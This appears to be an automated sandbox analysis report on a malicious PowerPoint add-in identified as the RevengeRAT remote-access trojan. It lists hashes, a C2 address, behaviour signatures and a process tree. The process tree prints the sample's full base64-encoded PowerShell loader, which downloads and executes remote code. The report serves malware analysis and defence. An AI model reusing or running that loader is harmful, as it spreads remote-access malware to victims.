Analysis

  • max time kernel
    131s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    27-08-2024 15:16

General

  • Target

    00026391087.ppam

  • Size

    27KB

  • MD5

    e114626af1e6f60e4e0eab0da05d01e7

  • SHA1

    b200f0ce036bb5cadce0d8d5d364413f3e7902a6

  • SHA256

    fa7701d082ff43c66e853a8cc0949bce6d2837f4190def5b75f631be0006f59a

  • SHA512

    b07441656c51355d07eca4f88b86c60b86d71397ea20c3550d4492dfcfc1949190b2bf85c7709d22c715752a54501146c57623078935e4a2bccde044a5e86a2e

  • SSDEEP

    768:VPk/BU66pEhHEZzMDbO/bZlqf4CLDu0We:VkU66KhHEZzMDCDHq4w60We

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\00026391087.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1940
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2096
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:344
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1076

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/344-24-0x00000000029E0000-0x00000000029F8000-memory.dmp

      Filesize

      96KB

    • memory/344-33-0x00000000029E0000-0x00000000029F8000-memory.dmp

      Filesize

      96KB

    • memory/344-25-0x00000000029E0000-0x00000000029F8000-memory.dmp

      Filesize

      96KB

    • memory/344-27-0x00000000029E0000-0x00000000029F8000-memory.dmp

      Filesize

      96KB

    • memory/344-29-0x00000000029E0000-0x00000000029F8000-memory.dmp

      Filesize

      96KB

    • memory/344-35-0x00000000029E0000-0x00000000029F8000-memory.dmp

      Filesize

      96KB

    • memory/344-31-0x00000000029E0000-0x00000000029F8000-memory.dmp

      Filesize

      96KB

    • memory/1076-47-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1076-44-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/1076-39-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1076-40-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1076-42-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1076-45-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1076-46-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1076-36-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1940-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1940-2-0x0000000072C8D000-0x0000000072C98000-memory.dmp

      Filesize

      44KB

    • memory/1940-3-0x0000000005F80000-0x0000000006080000-memory.dmp

      Filesize

      1024KB

    • memory/1940-0-0x000000002D961000-0x000000002D962000-memory.dmp

      Filesize

      4KB

    • memory/1940-9-0x0000000004DF0000-0x0000000004EF0000-memory.dmp

      Filesize

      1024KB

    • memory/1940-21-0x0000000004DF0000-0x0000000004EF0000-memory.dmp

      Filesize

      1024KB

    • memory/1940-19-0x0000000004DF0000-0x0000000004EF0000-memory.dmp

      Filesize

      1024KB

    • memory/1940-18-0x0000000004DF0000-0x0000000004EF0000-memory.dmp

      Filesize

      1024KB

    • memory/1940-20-0x0000000072C8D000-0x0000000072C98000-memory.dmp

      Filesize

      44KB

    • memory/1940-49-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1940-50-0x0000000072C8D000-0x0000000072C98000-memory.dmp

      Filesize

      44KB